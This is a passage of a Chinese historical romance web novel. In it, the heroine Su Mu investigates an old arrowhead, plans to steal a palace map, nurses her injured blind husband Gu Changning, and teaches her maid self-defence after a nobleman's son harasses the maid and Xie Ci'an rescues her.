苏木瞧着床榻之人昏睡时都是肃然之色,眉峰紧拧如麻就知,此事对于侯府来说,那是大大不利的。 但身处侯府,他能做些什么。 不去替他想那些错综复杂之事,只是苏木心中泛起惆怅,顾长宁受伤,侯府处于危急之中,她去南疆找巫师之事,怕是又要一拖再拖。 但所在顾长宁此伤未及肺腑,因此所牵连苏木的不过是背部酸软,倒无其他大碍。 祝余眼下在医馆行事,医馆迟迟未能行开张喜事,事事耽搁倒不如安安静静开着得了,所以这医馆倒也没大张旗鼓开张,只是东街之人大多所知那樊楼酒馆对街新开张了一家明净医馆,坐馆之人乃是两名女子,时时带着面纱斗笠,叫人看不清模样。 苏木之前厢房的东西都被婢女们搬到了主屋,苏木懒得折腾,恰好又要照顾病人,于是扯过一张屏风便在毡毯上设床,虽是地面,但日渐暖和又有炭火在旁,也不算冷。 只是昨夜塌上之人似有噩梦惊扰,睡的很不踏实,她迫于扬风的示意以及假戏真做的圆满,自然是衣不解带地照顾。 昨夜虽没睡好,但今早似乎也不见的困,自成婚前一日要在府中备礼到现在,她可是一步也没踏出过侯府。 日子算一算,前些日子她曾找过西街一常入宫的民艺造坊今日也该得出消息了。 苏木握了握挂于脖间之物,眼皮又扫了眼塌上之人,还是打算出去一趟。 想罢她起身,随口唤来了屋外侍婢,舆洗换衣。 上京西街自古就是手艺人的聚居之地,就如此前的何安常来西街,也是想要学上一门手艺。 苏木本想一人出门,乃何如今身份不同,势必要有人常伴,这才堪堪让芜衣陪在身后。 要说芜衣本来常居西苑,在东苑是不常见到的,偏那日苏木出门瞧膳房药煎的如何,却瞧见膳房之人有些欺软怕硬苛待西苑下人吃食,其中欺负最甚的也是战战兢兢的芜衣,她见此不忍,将她留在了身旁。 恰张叔有意寻人做她贴身婢女,既然要重新与人磨合,倒不如她自己寻个有几分缘分的人。但经过影儿之事后苏木待人也留了个心眼,所以再待芜衣确是保持着一定距离。 “芜衣,我瞧着官人往日所着衣衫皆为墨色,府中锦缎亦是如此,我打算给官人做几身衣裳,你替我去那家挑挑。” 行至一制衣铺,苏木顺手指了过去,想要支开她。瞧见芜衣正要开口,苏木便先行一步解释:“我要去西街寻官人前些日子所造之剑如何,那地乃是机要之处,就算是扬风也不能带着去的,你挑完锦缎便在原地等着,我去去就回。” 芜衣双手叠于腹前,本来启唇的疑问之词又吞了回去。 “奴婢知道了,夫人可要早些归来。” “那是自然。” 苏木回答的爽快,见人已朝铺里去,她这才放心放下斗笠纱帘,将自己盖的严严实实。 什么机要之处自然是扯谎,她自是不能告诉这底细不明之人自己是要去询问八年前早已灭迹的箭镞出自何处。 这边,芜衣踏入这制衣铺才知铺中所见并非门外一叶,里边更是别有洞天,瞧着这琳琅满目的丝衣绸缎,她知自个儿有的挑了。 本是眼睛望着远处男子用缎之上,可眼睛晃过之间,却被一华美缃色衣裙所吸引。 芜衣朝前走了几步,指尖落入华服之上,耳边听不到引人称赞介绍之语。 烟霞罗裙,裙料是上好的杭绸,织得细密如蝉翼,外头日光落入其上泛着淡淡珍珠般光泽,如同月华打碎揉进其中。裙摆处用银线绣着缠枝莲纹,花瓣层层叠叠,如同绽放。 当真是极好的衣裙。 “姑娘,这是极好的杭绸,在京中盛行,可要买回去给贵府贵人所穿?” 店家笑得谄媚,瞧见芜衣所着衣料虽华贵但样式却不像贵女所着,想着定是那座府中娘子公子遣派,于是介绍到。 芜衣面上划过几分喜欢,可在听到店家介绍是,那分欢喜下意识地转成了失落,随即平静。 她转身款款而笑:“店家,我是受夫人所托给府中郎君置办所用绸缎,你将店中好的样式均选些来。” 眼瞅着这人是个有钱的主儿,店家立马喜笑颜开:“姑娘等着。”说罢便朝后头喊道:“小二,快将店中质好的料子一并拿来。” 芜衣被店家引着坐在一处木椅上,待小二呈上料子后便仔细挑选着。店家忙着去迎其他客人,一时未能顾及她。 她选的仔细,未注意到身后有人靠近,待脸颊处有一丝温热相触,她才猛的侧身抬头。 撞入眼帘的是一白面男子,衣冠楚楚,身形高挑,但眼睛中却绽放出挑逗的猥琐光芒,芜衣发觉不对劲,往后退开了几步。 那人靠前:“这是哪家的小娘子,背影瞧着就是倩丽,没曾想面容也是如此姣好,叫人瞧得心痒。” 他身后跟着两名粗布小厮,在听到这白面小生的调侃之语,随即大笑。 芜衣眸中闪过一丝嫌恶,手却攥着衣角,双腿发软,下意识就要叫店家过来,可还未开口,她的肩膀就被人扣着,硬生生压着她坐下。 “小娘子莫要怕,小娘子要买何等面料,若不如让本公子帮你瞧瞧。” 那人说着,手却径直朝芜衣脸颊抹去,眼神在芜衣身上流转,像是要将她生吞活剥一般。 那白细长手抚着芜衣的脸颊,她有些不安发抖,怯懦开口:“公,公子莫要为难,奴是,是侯府之人” “侯府?” 白面小生听到后面二字,面上尽显猥琐,若搁以前他听到侯府名讳早就跑的没影,也更是不敢碰侯府之人,可如今谁人不知宣德候处于水生火热之中,他如今就算揩一个小小奴婢的油,谁敢站出来与他林氏伯爵所忤,想罢,那小生笑得更是猖狂:“早就听闻侯府就算是奴也是生的花容月貌,不然怎么能叫昭明侯娶了奴为侧室,既然如此,我也来尝尝这其中滋味如何?” 他攥起芜衣的手,双手抚摸,说完还拿着靠近自己脸颊,惬意而迷离的蹭了一蹭。 这一举动更是让芜衣惊吓不已,连带着眼眶中似乎都泛起层层水汽。 但这副模样在那小生眼中,仿佛看到梨花带雨的媚人儿,更是情难自已,立马就招手,随即他身后的两名随从就要从椅子上拽起她。 “不要,不要!” 芜衣惊呼,立马朝柜台投去求救的目光,可给她的不再是刚刚恭维般的目光,那店家置若罔闻,瞧都不往这边瞧上一眼。 “店家!店家!” 还是无人应答,甚至连立于铺子里的其他客众,也仿佛此地未发生何事一般。 谁人不知,四大世家之一的林伯、赵伯、燕伯以及杨伯中,林氏伯爵最是家大业大,此伯爵祖上乃是开国皇帝的侄子,到了如今几代后虽然说是旁的不能再旁的旁支,但这林氏伯爵确是四大世家还只有两大世家时便已存在,其下子嗣也是个个出息,唯独除开眼前这人。 眼前乃是林氏伯爵家的嫡子,虽是最小,却也是最被溺爱和最纨绔的一个,不考取功名不入军为伍,日日流连花丛。 他其下人命无数,却次次被伯爵压了下来。如此,谁敢招惹? 芜衣被人拉扯的衣衫凌乱,泪痕漫面,只求自家夫人能尽早赶回,救她于水火之中。 但她也不能只求自家夫人尽早赶回,她想起前些日子祝余曾教她的防身之术,立马要反手而脱,可起势刚现,她的手腕处便多了一道手掌所握。 “放手!”—— 第56章 普通人人微言轻自然不敢掺和, 但这出声之人可就不一样了。 清冽如甘泉之声,身着月牙常服, 又喜欢多管闲事的,自然是稽查司都指挥使,谢辞桉是也。 他管辖京畿,自然要平民之所恶之事,今日恰巧让他碰见了,那自然是不能不管。 作为都指挥使,那也是算上半个武将, 自然力道比那两个普通小厮大上许多, 见玉面阎罗一来, 那两小厮惴惴, 还未等自家主子发话,立马放开了拽着女子的手。 听清来人, 白面小生似是非常气恼, 这声音他就是过个百年也不会忘,这声音不知毁了他几桩好事, 偏偏他又不敢叫嚣。 白面小生尽量将怒气压下, 随即笑面:“原来是都指挥使啊, 不知谢大人不在司里忙着,来此处是作何啊?” 谢辞桉冷眼看向讪笑之人,不屑冷哼, 但看向女子的眼中多了些柔和,竟是直接忽略白面男子的问话,随即将人护至身后:“别怕。” 芜衣被那股手劲拉至身后,面上有着复杂的心绪。 谢辞桉还当她害怕,于是完全挡至她身前, 横亘在她与玉面男子之间。 男子吃了瘪,脸色有些不好看,连装模作样也难得做了,面上尽是气恼:“谢辞桉!本公子与你无冤无仇,你何苦一直揪着我不放!” 谢辞桉未着官府,自然代表的不算稽查司的身份,可那男子恼怒后直接喊他名字,那自然也是无礼到了极点。 谢辞桉冷笑:“林涛,你当真是十年如一日,干些见不得人的勾当。” 被称作林涛的男子显然没想到他如此直言,丝毫不给自己面子,面色已是铁青:“干你鸟事,一个小小奴婢,爷高兴就带回去宠着玩着,不高兴就是赏她一死她都得受着!” “哦?”谢辞桉拉长音调,嘲讽询问:“你伯爵府中之人谢某自然管不到,可刚才我可听说此人乃侯府之人,你强掠侯府奴婢,不怕侯府追究亦不怕官府惩治?” “侯府又如何,说不定明日侯府就倒台!”说到此处,他意味悠长的打量着谢辞桉:“不过要我说啊,若是顾家倒台,你谢辞桉怕不是最高兴的那一个!谁人不知你们两家之间的关系,你如此阻拦,莫不是想要将这奴婢带回你府中去,别以为我不知道,你与那昭明侯此前在书塾就为一女子而大打出手,没想到啊,过了这么多年,上京双英口味还是如此一致!” “况且那庶女乃是周家之人吧,他顾长宁也真是倒霉,护一个周家之女,三年前那场战役,他那双眼不就是周家所害!想来你二人看人的眼光倒是不怎么样!” 说罢,林涛哈哈大笑,一副看好戏的样子。 林涛所说家塾之事实际乃以讹传讹,当年周将军之女染有风寒却又因命不得不来家塾,遂遣一庶女替之学书,只是那庶女因身份总被林涛等纨绔所欺,顾长宁一时看不过而护过几次。 那女子因害怕,每日回府马车都跟至顾长宁身后,由此躲过了不良之人的调侃,只是后来有一次谢辞桉因想和顾长宁切磋,那庶女刚好站在旁边,不料顾长宁将人误伤,谢辞桉一时上头和顾长宁打的难舍难分,两人都鼻青脸肿,但最后也是谢辞桉遣人日日到周府探望。 由此谣言便传开了,说是庶女爱慕那顾家子,但那谢辞桉又爱慕庶女,如此三角循环痴恋,在上京掀起一阵议论之声。 谢辞桉没想到当年之事能被眼前人说上百次,他懒得解释,再次忽视林涛,牵起芜衣的衣角就往外走。 可未行一步,手上传来阻力,原来是林涛给两名小厮使眼色,芜衣另一只手再次被人攥住。 谢辞桉懒得跟人废话,也不想看见眼前人的嘴脸,语气中怒色比之刚才更加明显:“林涛,我劝你识相。” 可偏偏那人却还是一副笑嘻嘻的模样,看的人是真想直呼两拳。而这林涛的目的也从刚刚要揩油转为了烧起谢辞桉的怒火,若是谢辞桉当真呼他一拳,他可告他以官欺人。 可他没曾想,谢辞桉虽看着待人和煦,可实则也是个没耐心的主儿,他见人无松手之意,一脚踢飞其中一人,正欲踢飞另一人,手腕却被一柔软温热覆盖。 芜衣摇摇头,示意谢辞桉别再动怒。 她的提醒使谢辞桉怒意消减了半分,他知自己的身份不该如此,所以没有直接踢林涛已经是给了他十足的面子。 林涛也是显然没料到谢辞桉真的出手,一时吓在原地,看向刚刚被踢飞而砸在木桌上口吐鲜血之人,一时腿软。 谢辞桉拉着芜衣直接离去。 苏木从工坊往回走时一直在出神,那工坊老头已近六十,说是三十年前就每隔五年进宫熔铸兵器,所以资历十分深厚。 一开始,他说他对这种箭镞记忆十分模糊,毕竟三十年来多铸兵器众多,顶是十个脑袋也不够记得,但他倒是提供了一个关键的信息。 那老头见她给的银子也不少,于是又询问了另一家同他同样资深的工艺人,那人倒是给了个惊喜,说是此物乃是他十年前所铸,因着一般箭羽耗费极大,一次性少说也是铸造千只,可那次宫里头只铸了一百只,因此记忆较深。 只是这一百只当时是宫里分配,听说分配世家高官对象乃三家,至于是哪三家他倒是忘了,只是这记载文书,定然是在宫中秘阁之中。 宫中秘阁,宫中秘阁……要说在上京城里还好,凭着她的轻功,她就是随意出入也不是大话,可这宫中可就不一样了。 且不说宫中羽林卫是一等一的以一当十的高手,就连宫中的防卫布局以及地图,她都一概不知。 这宫中秘阁,倒是难倒了她。 走在路上,苏木思绪被一男女对话声所吸引。 “娘子,今日回门,这些个东西够不够?” 一锦衣男子瞧着他手里所提,满心忧虑,但面上所喜能知此为新婚夫妇。 “自然是够的,我爹娘最喜欢茶叶……” 二人渐远,后面的话她没听清,但回门二字却听的仔细。 回门回门…… 对了! 苏木本是满面愁容的脸一瞬放了光。 她还记得之前李公公曾说过,大婚十日内他回来召顾长宁和他进宫谢恩,那时岂不是最好的时机! 当真是恰恰好的时机。 可秘阁所处位置以及皇宫布局她又该如何得知? 苏木思索着往前,不知自己也至刚才与芜衣分别之处。耳边传来些破口大骂的男人声音,苏木这才被打断思绪,很是不满的看向声音来源。 隔着纱帘,她模糊瞧见一白面男子正立于门前,面朝西南方向,嘴里骂骂咧咧,很是难听。 苏木倒是不关心他骂了些什么,只是顺势看向西南方向,这一看就瞧见巷口立着两人。 正是谢辞桉和芜衣。 谢辞桉?他为何在此? 不对!苏木脑袋里油然而生出一个想法来,谢辞桉乃稽查司都指挥使,稽查司、殿前司和侍卫步军司乃是枢密院所管辖,莫说皇宫,整个京畿都是枢密院所控。 小小图纸,自然稽查司也有一份。 逻辑一通,苏木心下已有大致摸索方向,虽然说如何接近谢辞桉与如何进稽查司方法还未得出,但现下也总比她瞎耗子乱摸要强的多。 苏木正要上前,却发现帏帽不大好,之前给林氏看病与第一次见谢辞桉时都带着帏帽,若是让他发现端倪,那岂不是得不偿失。想罢苏木将帏帽取下背至身后,这才往二人那边走去。 要接近谢辞桉那自然不能以苏木之身份,日后还是以那个治病的“沈姑娘”接近比较合适。 苏木本想笑脸相迎,忽而想起自己这婚大多就是谢辞桉说漏了嘴,一时她笑意收回,突然想给他两拳。 但苏木还是克制了,她停住脚步,只轻唤:“芜衣,过来。” 苏木不知二人在嘀咕什么,只见芜衣看见她时如同看见神佛一般,行一礼后便朝这边奔来。 芜衣朝这边看来的同时,谢辞桉也看到了她,他先是一怔,随即脸上挂上那标志性的笑,风度翩翩地朝这边而来。 芜衣在她身后,谢辞桉也立于她跟前。 “原来是苏夫人的人,真是巧了。” 苏木心中白眼,谁和你巧,要不是你现在老娘都在南疆解蛊去了。 可苏木面上却未表现出来,她施礼回道:“谢大人。” 客气之语落下,苏木转身就要离去,正走两步,谢辞桉急步追上:“夫人,顾兄今日如何了?” 那日顾长宁在宫中受罚时他正在外出追逃犯,回来听到战事和顾长宁受刑也是一惊,最近事务繁忙他未来得及去侯府探望,今日好不容易休沐也要听从父亲之命不能让叶眷前去探望,这不为了哄好叶眷都要来买绸缎相送了,偏这时刚好又遇到了苏木。 所以,他才说巧了。 苏木也是听说过顾长宁和谢辞桉之间的兄弟情,知道他也是真心关心,刚才的怒意消散许多,想着自己如今行事是代表侯府身份,她只好回身:“无大碍了,劳谢大人关心。” 苏木瞧见谢辞桉长舒一口气,似是放心一般:“既如此,那我便放心了,只是还劳夫人提醒他,让他莫要着急,老侯爷吉人自有天相,定不会有事的。” 谢辞桉是知顾长宁性子的,若他一急,怕是何事都能做出来。 苏木点头:“知道了,我定会告知。” 谢辞桉点点头:“苏姑娘,你成婚那日我恰巧外出任务,在此,谢某便祝二人百年好合,永结同心” 他颌首示礼,似乎是真挚的祝福。 苏木淡嗯一声:“多谢谢大人。” 随即转头离去。 苏木嘴角噙着无奈的笑意。 百年好合,永结同心。她思绪飘远,想起当年相府那秋千之上,有一胖乎小孩也曾说过长大后要娶一人为妻…… 世事无常,怕是没那个缘分了。 也罢,也罢—— 第57章 回府路上苏木发觉芜衣眼圈有些发红, 问过才知今日之事。说来是她考虑欠妥当,留她一无法自保的女子独自一处, 这才能遇到不良之人。 看来,教她自保之术得安排日程了。 苏木安慰后又和她保证日后每日教她自保之术,这看见芜衣稍微有了点笑颜,可不知为何,苏木总觉得她若有所思,像是被牵走了魂一般,她没那么多精力去想, 见芜衣也未提, 便直接朝东苑而去。 她先去主屋瞧瞧顾长宁的情况, 随即让芜衣去后厨催催晚膳, 她倒真有些饿了。 若说这成为顾长宁的妻妾有何好处,大概这就是第一桩。不用等主子们都用完了再进食, 想吃啥就吃啥还能点菜。 旁边没了人, 苏木便往主屋走边在想该如何潜入稽查司之事,如何进, 何时进这都得好好规划一番。 踏进主屋, 苏木反扣上房门, 顺着对门的木椅而坐。 稽查司乃官家之地,况且护城军都在其中,个个都是高手, 若要接近得徐徐图之,若是夜潜不成,她难道还要去接近谢辞桉?可就算接近谢辞桉,他也不像是能随意带人进出稽查司之人。 这个时候苏木倒是怀念起了当时在稽查司牢里的时候,那时怕是她离图纸最为接近的时候。 进宫机会不多, 十日之内若是顾长宁伤好,那是随时有可能召见二人的,若是错过这机会,往后要进宫可就难了。 不过,皇帝老儿似乎很喜欢传祝余进宫,或许可以以此作为突破,可祝余进宫对侯府又不太好…… “哎——” 苏木长叹一口气,真真觉得此事颇为艰难,似乎一时不知从何下手,早知这文书藏在秘阁,她就早点让祝余摸清皇宫了,也不至于现在祝余想去也去不了了。 上次宫中再要请祝余前去时,顾长宁便以祝余放了奴籍归乡为由给拒了,如今再让她去,那不是欺君之罪? 想罢,苏木只觉头疼不已,她扶着额头,沉沉叹气。 “哎——” 苏木一时被此事烦忧,完全忘记自己来主屋的目的,她正沉溺于自己的思绪时,左侧塌上冷不丁传来一声。 “想不到,如今还有比我更为烦忧之人。” 这声音带着嘶哑,语调带着沉稳,甚至还有丝揶揄之感。 屏风后的声音,是顾长宁。 苏木顿时抬眼,她朝左侧看去,却被屏风所挡,想起自己该要查看这人的伤势,她立马起身,本想直接绕过屏风,但一只脚又飞快收回。 说到底,这是他的房间也是他的床榻,他不知是何时醒来的,现下直接过去,好似不太好。 毕竟在他未醒来之前他的上半身是未着衣物的,她也只当他是病人,未有多余想法。但眼下他醒了,她直接这般过去,总觉得……怪怪的。 想是她的犹豫之步被那人尽数收入耳底,像是知道她所顾虑一般,屏风后再次传来那低哑之声。 “本侯半身早已被你看了个遍,如今才不好意思?” 苏木本还犹豫,但听他这话是早已知晓这几日是她疗伤,他的伤尽数在上半身,用脚趾头都知道她将他上半身看的差不多,但他这话听起来,怎么这么不中听。 既然如此,她也不做扭捏姿态,直接绕过了屏风。 梨雕床榻之上,男子赤着上身伏在榻边,被褥严实地压在他的下半身,脊背却毫无遮掩地映入眼帘。那本应康健强壮的背脊布满狰狞的杖痕,纵横交错间犹如山峦叠嶂,一道比一道深。 许多地方仍渗着血水,红黑斑驳,触目惊心。 不知为何,眼前这一幕似又让她想起大婚那夜,红帐旖旎之下,那睡的沉稳安静的面庞。 她看他一眼,想着早间刚上过药,这伤也不便叫人来回折腾,于是顺着榻边上的几案而坐。 听到些声音,他习惯性侧耳,趴着的脸未动,脸色冷峻如常。 他眉峰压的很低,遮住了眼底的晦暗,只留一截锐利的下颌线,似泛着冷硬的青色。 明明是狼狈的模样,他却偏挺得直,喉咙滚动半晌,才从齿缝中挤出几个字,声音如沙砾干涩:“我有些渴。” 这句话的言外之意并不难听懂,倒水不算难事,苏木侧身将几案上的茶杯斟满,随即给他端了过去。 无意识的递给他,见他手撑榻边挣扎着起身,每一次挪动面色越发的苍白,因是伏着身子,无手去顾及身下被褥,差点让那被褥直接滑落至腿间。 苏木猛地闭眼,迅速将被褥给他往上扒拉:“伤着就别动。” 她顺着塌边而坐,见顾长宁额头上布满细小汗珠,犹豫着伸手又止手,最终还是托起了他的脸。 下颌生硬,下巴处还有些细小胡茬,刺挠的她掌心麻磨感。苏木指节微动,没有过分在意,直至茶杯抵在他唇边。 “喝。” 顾长宁的呼吸似乎比以往都要沉重许多,那些温热的气息一遍遍扫过她的指节,带着温热的湿意。 杯沿轻轻触到他唇瓣时,他才微启了齿关。许是苏木掌握不到他喝水的深浅,温水顺着唇角往下淌了许多,她下意识要去擦,另一只手的指腹刚要触及下巴,他忽然偏过了一些头,唇瓣滑过食指关节,湿热柔软。 她指尖猛地一颤,杯里还剩下的残水溅在他脖间,她下意识看向他,只见他眸色沉沉,喉间滚落出一丝笑意:“抖什么?” 这话问出口苏木才回神,她刚才有抖吗?没有吧。 正要反驳,眸光一下落在了他光滑古铜色水渍氤氲的脖间,那水痕往下顺延,至胸膛,下腹…… 她顿的一下起身,眼撇开时面上没来由的烫热,饶是长了双眼睛,脚跟却撞上了身后几案桌柜,柜子发出的声响给了她欲盖弥彰之意,她闷吭一声:“还喝吗?” “不喝了。” 他往榻间移了半分,头顺势偏侧着落入柔软的枕席。 “我睡了多久?” 苏木顺案而坐,她置下杯子,拿起对岸茶杯给自己斟满:“一日一夜。” 良久的沉默,只有她轻啜茶水,给自己倒了一杯又一杯斟茶水声。 “边关……有消息了吗?” 边关,那便说到是西北战事,外头对于此事的议论声不小,但最新的消息却无。 苏木轻顿茶杯,收起自己平时锋芒的语气,声中带着安慰:“虽无,但没有消息或许才是最好的消息。” 榻上之人神色未动,苏木却看得出,这答案并非问话之人想听到的。 “我这伤多久才能好?” 他嗓水润了几分,音色依旧沉沉。 “少说半月。” “半月。”他咛喃着重复,那无色的面容少了许多冷硬,多了几丝惆怅:“倒是又耽误你了。” 苏木知他所说何意,按照之前所商,成婚后她便要去南疆才是,可因为他却又拖延。 提起此事,苏木心下是有不爽,但瞧着塌上之人以及他所忧之事,她也不能如此离去,也不能真的责备。 况且,如今她暂且不去南疆,在上京也不是毫无收获,至少等她去了宫中秘阁,天色将略有破晓,如此看来,她也说不上耽误,说不上生气。 “无碍。” “只是……你不必过分担忧,老侯爷在战场厮杀的功绩我也并非不知,多少次化险为夷皆成美谈,想罢老侯爷吉人自有天相,不会有事的。” 她不知说些什么,毕竟现下扬风与凌风皆在外探风,也不能唰的一下站他跟前汇报,她也不知边关事情进展,宽慰之话说的有些苍白,却聊胜于无。 至少她看到顾长宁眸中暗沉散开了几分。 “我此次受伤,你可有碍?” 他思衬着,想起那日她身处稽查司牢狱所受刑法时,他都能略感一二,想毕他受这杖刑,她也会受到一丝牵连。 经这一问苏木才回想,那日在屋中看书等他归来时,的确觉得腹肺隐疼,但却无伤大雅。 若不是这一问,有时她都会忘记自己与人性命相连。 想罢,她道:“无碍。” 这句话落,榻上之人好一阵没见回应。 屋中本就二人,再无话可说那便如坐针毡一般,苏木正要开口找个机会离去,榻上之人却再次开口。 “苏木,你之前说可以治好我的眼睛,如今还作数吗?” 治眼睛那都是许久之前所说,她不知他为何突然又提起这个,想起那日石洞中,他还冷硬地拒绝。 苏木正讶异不知如何回答,他便再次开口:“你的事情我一再背离所初,而我想护的人却一个也护不了,不管是三年前的周家落难,还是长姐所困……乃至今日,我父受困夏丹,我都无力去做。” 苏木没有回话,屋中静了几息,榻上之人闭目,“所以……” “眼下,我不能放你去南疆。” 不等苏木反应,顾长宁冷声出口:“或许在你眼中我再次食言而肥,是无赖是卑鄙是自私。但是……” 苏木愣住,直直地盯着他。 “苏木” “暂且留下吧。”—— 第58章 经过这件事, 顾长宁提出想治自己的眼睛苏木并不是特别意外。毕竟一个大好儿郎无法驰骋沙场亦无法入朝行事,处处还有着丢命的危险, 恁谁都会的。 所以他说要她治,她同意了。 但她是要以推迟解蛊为基础的,况且他这暴盲有些棘手,她传信潇声让送来还瞳珠这等珍世奇药。 而且,苏木哪能让自己吃亏。 既如此麻烦,她提出了两个条件。 至于哪两个条件她暂时还没想好,但顾长宁似乎也并不担心, 答应的也是爽快。 四日, 边关消息仍未有, 朝堂之上众说纷纭, 有与侯府交好的朝臣提出从夏丹各府州调遣精锐查探的,亦有些早就看不惯侯府的宵小要求边关七日内给出消息, 若是夏丹失守, 责任全在宣德候,直接给予削爵处罚。 这几日, 宫中那位焦头烂额, 所以苏木与顾长宁二人进宫谢恩这事, 暂无人提起。 这些个时间也刚好留给苏木,顾长宁不愿意外人知晓他要治眼之事,所以他的一切治疗事宜, 就这样全权交给了她。 四月的庭院里,春意已至勃勃。东苑后院醉花荫里,男子静静坐在廊下竹椅上,眼上蒙着一条素白巾,似剑的眉目被素锦遮盖, 平添几分清冷遗世独立之感。 风吹动他鬓角碎发时,映衬着棱角分明的侧影,偶有几只早莺掠过檐角,他侧着耳,不知是在倾听啾鸣还是偏着头睡着了。 几瓣海棠花落在他肩上,他静仰于椅上,犹如画中人。 嗖嗖几声剑风破空划过,海棠花如破竹分至两半,纷纷落下,落英缤纷之下,庭中青衣女子调转剑头,直直朝廊下之人刺去。 剑法凌厉,有划破长空之势,那速度极快,若出剑人未有偏颇,下一瞬这剑便能直直刺入那人干净削骨的脖子。 苏木未收势,剑却突然顿住了。定睛一看,剑头被一书卷所挡,偏向一侧,她手下一顿正要收剑,却见剑锋与书卷谴倦,刀刃未伤及书页分毫,却缠绕不断。 她定神想要转腕避过,可手腕刚要翻转,椅上之人空着的那只手已如流云般探出,精准扣住她握剑之手,那指尖粗粝,力道不重,她却失了平衡。 惊讶还卡在喉咙,整个人已经不受控制的超前倒去,她本还想稳住下肢,却料后腰传来温热,原是被人稳稳扶住,却刚立稳片刻,脚下却生了滑。 手中剑“哐当”砸入地面,她同时跌进了一个满是清茶与松木香的结实怀抱。 苏木记得这个味道,那日在马车中,她不小心贴近他的后背,那味道也是这样窜进她的鼻腔。 鼻尖撞上他温热的胸膛,柔软素衣襟在脸颊摩梭因慌张而紧拽着的衣襟垮向一边,清晰分明的锁骨映在眼中,利落分明的骨节凹凸其上,利落而干净的下方,有着一颗朱红色的淡痣。 苏木一时忘了移开眼睛,而此刻,正有什么声音起伏不定颇有节奏。 咚咚咚,擂鼓震耳,苏木明白过来什么,脸颊迅速氤起一抹薄红。 身下之人未动,她怕压着他的伤,于是想要撑着竹椅边框而起,可手摩挲着所握似乎有些硌手,甚至还会动。是修长的,粗粝的手指。 意识到摸到的东西并非扶手,苏木脸颊更是烫热,但她有一时没有支撑点,于是猛地抽开手朝旁边摸去。 手还悬在空中,双肩却被人按捺住,身下人力道之大,她未自己用力,整个人便被他推开。 苏木后退几步,有些尴尬。 “你的药应煎好了,我去看看。” 苏木未顾及身前人有何反应,转身就往小径而去,只是一转身,又碰到一人。 扬风似平常穿着一身黑衣,立于小径路口时像是僵住一般一动不动,面上还有着溢于言表的震惊。 意识到他看到了什么,苏木一时忘了解释,只想尽快地逃离此地。她走路地速度都比之平常快上许多,只在和扬风双眼交汇的片刻便移开,直接绕过了他。 安静几息,椅上之人面上无波,从整个背都靠着竹椅到起了半个身子。 “站哪干嘛?还不快过来!” 说实话,也不怪扬风惊愕,虽说这位苏木已和自家公子成亲,但这进度会不会太快了?况且在这位苏木出现之前,他还从未见过自家公子刚刚那个样子。 朝他走来之人也许没看到,可扬风眼神好,却是实实在在的将自家公子刚刚哪青了红红了青的脸看了个仔细。 “咳咳……” 扬风干咳两声“来了。” “公子,这是那边传来的密信。” 男人接过递来的信件,捏在手中未拆,他缓缓开口:“信中所写什么?” 他因眼睛看不见,之前往来信件皆由扬风口读,但这信件必须要由他所接,于是才这样问。 他知这信件是从何处而来,刚才本就杂乱的心绪现下更是复杂,有偌大的希冀在胸腔之中。 扬风声音放低:“回公子,夏丹密信,是侯爷传来的。” …… 苏木坐在一矮凳上,面朝着煎药瓦罐,手上有一搭没一搭地扇着蒲扇,她心思不在煎药上,眼瞧着火越来越旺,罐盖被噗噗水汽掀起,药汤顺着瓦罐壁汩汩流出。 “啪”地一声,苏木被惊地肩上一抖,抬眼看到了和扬风同穿玄衣之人。 凌风看都没看她一眼,拿起布子便端起了瓦罐,随后将药缓缓倒入碗中。 苏木这才看到瓦罐四周溢满了药汁,顺着刚才瓦炉一看,草木灰扑腾一地,水渍四溅,在她刚才出神地一瞬,那些个药汁差点溅她一身。 苏木瞅了凌风一眼,带着真心地感谢:“谢你了。” “不过……你既然来了” “要不你给你家侯爷送去?” 苏木起身,手中蒲扇放置灶台之上:“那我先走了!” 说完,还没等愣在原地的人开口,苏木已经一溜烟没影儿了。 走在廊下,苏木暗感自己的机智,她一回想起刚刚在庭院的尴尬,她便不愿短时间再碰到顾长宁,刚才也因此事出神,谁料天降好人,恰恰凌风就出现了。 凌风这个人好啊,虽然和她相处比较少,人也不苟言笑的,但是她好像每次有事找他,他都做事挺利落,也不会像扬风那样冷中带锋。 既然如此,她便先去找芜衣。 顾长宁治眼,毛病倒还不少,要求配药是她针灸是她,近身喂药也是她,光说这些就能耗掉她大多数时间,导致她这几日是闲不下一点去外头医馆。 得亏祝余是个靠谱的,外面也不怎么需要她操心,只是想起日前答应过芜衣之事,所以没出府时,她会去东厢房教她些基础功夫。 芜衣也是个上进的,虽然人看着怯懦柔弱,但学起功夫来竟是一点就通,苏木竟有了为师的欣慰,教起她来也是不遗余力,甚至每每到后半夜,还会误了顾长宁喝药的时间。 这不,苏木才到东厢房院中,已经听到嗖嗖练剑之声,绕过洞门一看,果然是芜衣。 芜衣手持一根木棍,手下生风,招式沉稳却还有些不足之处。 瞧见她凌空下劈时脚下不稳,姿势拘谨而导致脚下生硬,苏木立于她一侧,眼带锋锐:“肩膀放松,力气用在手臂,丹田沉住!” 这一声提醒仿佛让她回到了闳离阁,多年前潇声给她放她自由出入闳离阁的条件便是训练其下弟子,所以那些个日子,她也是如此这般,日日训练他们。 只是那时她脑中被恨意充斥,所以训练讲究快狠,所以要说训练,更像是速成的完成任务,对于他们来说,像是一种折磨。 如今,还是第一次有一种身为人师之感,似乎有些不一样。 教人自保,确是心安。 芜衣听见侧边人声,依言调整。木棍甩出时气力依旧有些散乱。 苏木上前劈掌,几个来回就将她反手扣住。 她松开后本想厉声再嘱咐几句要领,可话还没开口,见她羞愧难耐的样子,她又忍不住叹了口气。 随即,她淡笑:“短短四日,进步还是很大的,先不急。” 见人气馁地点点头,苏木声音更是缓了几分:“不必急,武艺是日积月累的,如今你进步也算是快的,我在府中时时有事不便过来,等祝余何时回来,让她帮帮你,你进步或许会更快点。” “我知道了,我没事,谢谢姐姐。” 苏木不太会安慰人,见她如此,她也不知再说些什么。 芜衣告退后苏木又绕过醉花荫直接朝东厢房而去,这些日子,她也仍然在思考如何拿到宫中布局图的问题,思来想去她还是认为直接潜入稽查司更为妥当。 想罢,她打算今夜动身。 顾长宁今日针灸已结束,中午的药也让凌风给他端去了,她夜探回来然后再把晚间的药给他送去,哪也是正正好的。 捋清思绪后苏木便直接躺在了床上,她这两天照顾顾长宁总感觉受了点风寒,她又不乐意吃药里的苦味儿,就想着睡睡也能驱寒,于是直接睡下了,等到夜色降临,她再往稽查司而去。 想起暗夜已有一丝破晓之机,她心中既兴奋又惴惴。 秘阁,三家,箭镞。 究竟会是谁……—— 第59章 夜色沉沉, 